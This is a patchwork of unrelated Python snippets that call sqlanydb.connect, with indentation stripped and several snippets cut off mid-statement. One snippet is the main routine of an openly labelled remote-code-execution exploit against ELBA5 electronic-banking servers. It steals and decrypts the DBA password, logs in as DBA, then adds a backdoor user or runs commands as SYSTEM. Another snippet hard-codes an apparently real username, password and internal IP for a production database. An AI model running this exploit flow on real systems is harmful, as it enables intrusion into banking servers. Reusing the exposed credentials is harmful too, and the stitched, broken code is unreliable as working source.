loop = asyncio.get_event_loop()
dp = Dispatcher(bot, loop=loop)
runner = executor.Executor(dp, skip_updates=config.BOT_SKIPUPDATES)
loader = PackagesLoader()
try:
logger.debug('Connecting to a SQLA database with UID "{}"', config.DB_UID)
conn = sqlanydb.connect(uid=config.DB_UID, pwd=config.DB_PASSWORD)
curs = conn.cursor()
logger.success(
'Successfully connected to SQLAnywhere database as "{}". Reading table "{}"',
config.DB_UID,
config.DB_TABLE_NAME,
)
except sqlanydb.InterfaceError:
logger.exception(
"Couldn't connect to SQLAnywhere database. "
'Make sure that you\'ve correctly set the full path to "dbcapi.dll" in the .env file'
)
quit()
except (TypeError, sqlanydb.OperationalError):
logger.exception(
"Couldn't connect to SQLAnywhere database. "
def _cursor(self):
cursor = None
if not self._valid_connection():
kwargs = {}
links = {}
settings_dict = self.settings_dict
def setting( key ):
if settings_dict.has_key(key):
return settings_dict[key]
if settings_dict.has_key('DATABASE_%s' % key):
return settings_dict['DATABASE_%s' % key]
return None
#
uid = setting( 'USER' )
if uid is not None:
kwargs['uid'] = uid
dbn = setting( 'NAME' )
if dbn is not None:
kwargs['dbn'] = dbn
pwd = setting( 'PASSWORD' )
if pwd is not None:
kwargs['pwd'] = pwd
root = Database.Root('PYTHON')
try:
vers = root.api.sqlany_client_version()
ret = True
except:
length = 1000
buffer = ctypes.create_string_buffer(length)
ret = root.api.sqlany_client_version(ctypes.byref(buffer), length)
vers = buffer.value
if ret:
vers = int(vers.split('.')[0])
else:
vers = 11 # assume old
host = setting( 'HOST' )
if host == '':
host = 'localhost' # "Set to empty string for localhost"
if host is not None and vers > 11:
kwargs['host'] = host
port = setting( 'PORT' )
if port is not None:
kwargs['host'] += ':%s' % port
else:
if host is not None:
links['host'] = host
port = setting( 'PORT' )
if port is not None:
links['port'] = str( port )
if len(links) > 0:
kwargs['links'] = 'tcpip(' + ','.join(k+'='+v for k, v in links.items()) + ')'
kwargs.update(setting( 'OPTIONS' ))
self.connection = Database.connect(**kwargs)
cursor = CursorWrapper(self.connection.cursor())
cursor.execute("SET OPTION chained='Off'")
cursor.execute("SET OPTION PUBLIC.reserved_keywords='LIMIT'")
cursor.execute("SET TEMPORARY OPTION TIMESTAMP_FORMAT='YYYY-MM-DD HH:NN:SS.SSSSSS'")
connection_created.send(sender=self.__class__, connection=self)
if not cursor:
cursor = CursorWrapper(self.connection.cursor())
return cursor
def __init__(self, *args, **kwargs):
self.conn = sqlanydb.connect(*args, **kwargs)
def __init__(self, p_db):
db = p_db
s = ""
self.db = None
self.cursor = None
(self.dbtype, driver, hostname, port, dbname, user, pwd) = getDbStringDetails(db)
if (self.dbtype in ["teradata", "maxdb"]) or (driver == "-odbc"):
dsn = self.odbc(hostname, port, dbname)
print dsn
self.db = pyodbc.connect(dsn=dsn, user=user, password=pwd, ansi=True, autocommit=True)
self.cursor=self.db.cursor()
elif self.dbtype == "ase":
# hostname defined in interface file
self.db = Sybase.connect(dsn=hostname, user=user, passwd=pwd, database=dbname, auto_commit=True)
self.cursor = self.db.cursor()
self.cursor.execute("set quoted_identifier on")
elif self.dbtype in ["asa", "iq"]:
import sqlanydb # Module for Sybase ASA or IQ
s = "%s" % (hostname)
print s
self.db = sqlanydb.connect(eng=s, userid=user, password=pwd, dbn=dbname)
self.cursor = self.db.cursor()
elif self.dbtype == "mssql":
s = "%s:%s" % (hostname, port)
self.db = pymssql.connect(host=s, user=user, password=pwd, database=dbname, as_dict=False)
self.cursor = self.db.cursor()
elif self.dbtype == "mysql":
self.db = MySQLdb.connect (host=hostname, port=int(port), user = user, passwd = pwd, db=dbname)
self.cursor = self.db.cursor()
elif self.dbtype == "db2":
self.db = DB2.connect (dsn=dbname, uid=user, pwd=pwd)
self.cursor = self.db.cursor()
elif self.dbtype in ["postgres", "greenplum"]:
s = "host='%s' port='%s' user='******' password='******' dbname='%s'" % (hostname, port, user, pwd, dbname)
self.db = psycopg2.connect (s)
self.db.set_isolation_level(psycopg2.extensions.ISOLATION_LEVEL_AUTOCOMMIT)
self.cursor = self.db.cursor()
elif self.dbtype == "oracle":
s = "%s/%s@(DESCRIPTION=(ADDRESS=(PROTOCOL=TCP)(HOST=%s)(PORT=%s))(CONNECT_DATA=(SERVICE_NAME=%s)))"
s = s % (user, pwd, hostname, port, dbname)
self.db = cx_Oracle.connect(s)
self.cursor = self.db.cursor()
elif self.dbtype == "netezza":
# conn="DRIVER={MySQL ODBC 3.51 Driver}; SERVER=localhost; PORT=3306; DATABASE=mysql; UID=joe;
# PASSWORD=bloggs; OPTION=3;SOCKET=/var/run/mysqld/mysqld.sock;"
self.cursor = Connect (hostname, user, pwd)
elif self.dbtype in ["hana"]:
from hdbcli import dbapi
self.db = dbapi.connect(address=hostname, port=30015+int(port), user=user, password=pwd, autocommit=True)
self.cursor = self.db.cursor()
elif self.dbtype in ["progress"]:
dsn = self.odbc(hostname, port, dbname)
self.db = pyodbc.connect(dsn=dsn, user=user, password=pwd, autocommit=True)
self.cursor=self.db.cursor()
elif self.dbtype in ["ingres", "vectorwise"]:
# vnode = @host,protocol,port[;attribute=value{;attribute=value}][[user,password]]
s = "@%s,tcp_ip,%s;connection_type=direct" % (hostname, port)
self.db=ingresdbi.connect(database=dbname, vnode=s, uid=user, pwd=pwd, dbms_pwd=pwd, autocommit = "Y") # trace = (7, "dbi.log")
self.cursor=self.db.cursor()
else:
perror("Unknown_db_type", self.dbtype)
"""This module will connect to the sybase database.""" import ctypes import sqlanydb import pyodbc # Create a connection object, then use it to create a cursor con = sqlanydb.connect(uid = "vraut" ,pwd = "Mar21Pass" , host = "10.70.142.125:2066" , dbn = "IQPROD") # Execute a SQL string sql = "SELECT * FROM dummy" cursor = con.cursor() cursor.execute(sql) # Get a cursor description which contains column names desc = cursor.description print(len(desc)) pyodbc.
def __init__(self, *args, **kwargs):
self.conn = sqlanydb.connect(*args, **kwargs)
def main():
print("==================================================")
print(" ELBA5 Electronic Banking (https://www.elba.at/)")
print(" Network Installation RCE Exploit")
print("")
print("This exploit has been tested against version 5.7.1")
print("to 5.8.0. It can be used to remotely obtain code")
print("execution on the ELBA5 server with full SYSTEM")
print("level permissions.")
print("")
print("Discovered by: Florian Bogner @ Bee IT Security")
print(" florian(at)bee-itsecurity.at")
print("==================================================")
print("")
if (len(sys.argv)<3):
print_usage()
sys.exit(1)
# get info from cli
global DB_HOST
global ACTION
DB_HOST=sys.argv[1]
ACTION=sys.argv[2]
#### phase 1
print("[*] Starting phase 1: Obtain & Decrypt DBA password")
DB_DBA_PWD=fetch_db_dba_pwd()
if (DB_DBA_PWD==None):
print("[-] Something went wrong in phase 1... Exiting")
sys.exit(1)
print("[+] Received the DBA password: "******"[*] Starting phase 2: Establishing a DB connection as DBA")
conn = sqlanydb.connect(
uid=DB_DBA_UID,
pwd=DB_DBA_PWD,
servername='ELBA5SRV',
host=''+DB_HOST+':'+DB_PORT
)
if (conn==None):
print("[-] Something went wrong in phase 2... Exiting")
sys.exit(1)
print("[+] Connection established as DBA")
#### deliver payload
if (ACTION=="addUser"):
print("[*] Starting phase 3: Adding a backdoor user")
add_elba_user(conn);
elif (ACTION=="runCommand"):
print("[*] Starting phase 3: Running command")
run_command(conn);
else:
print("[*] Unknown action "+ACTION+"... Exiting cleanly")
#### winding down
print("[*] Closing DBA connection")
conn.close()
import sqlanydb
conn = sqlanydb.connect(uid='dba', pwd='sql', eng='demo', dbn='demo')
curs = conn.cursor()
curs.execute("select 'Hello, world!'")
print "SQL Anywhere says: %s" % curs.fetchone()
curs.close()
conn.close()
def _connect(self):
return sqlanydb.connect(*self.connect_args, **self.connect_kw_args)
# ***************************************************************************
# Copyright (c) 2014 SAP AG or an SAP affiliate company. All rights reserved.
# ***************************************************************************
#######################################################################
# This sample code is provided AS IS, without warranty or liability
# of any kind.
#
# You may use, reproduce, modify and distribute this sample code
# without limitation, on the condition that you retain the foregoing
# copyright notice and disclaimer as to the original code.
#
#######################################################################
#
# This sample program contains a hard-coded userid and password
# to connect to the demo database. This is done to simplify the
# sample program. The use of hard-coded passwords is strongly
# discouraged in production code. A best practice for production
# code would be to prompt the user for the userid and password.
#
#######################################################################
import sqlanydb
con = sqlanydb.connect(userid='dba', password='******')
cur = con.cursor()
cur.execute('select count(*) from Employees')
assert cur.fetchone()[0] > 0
con.close()
print('sqlanydb successfully installed.')
def get_rdb(self):
return sqlanydb.connect(**config.sqlany_pos_server)
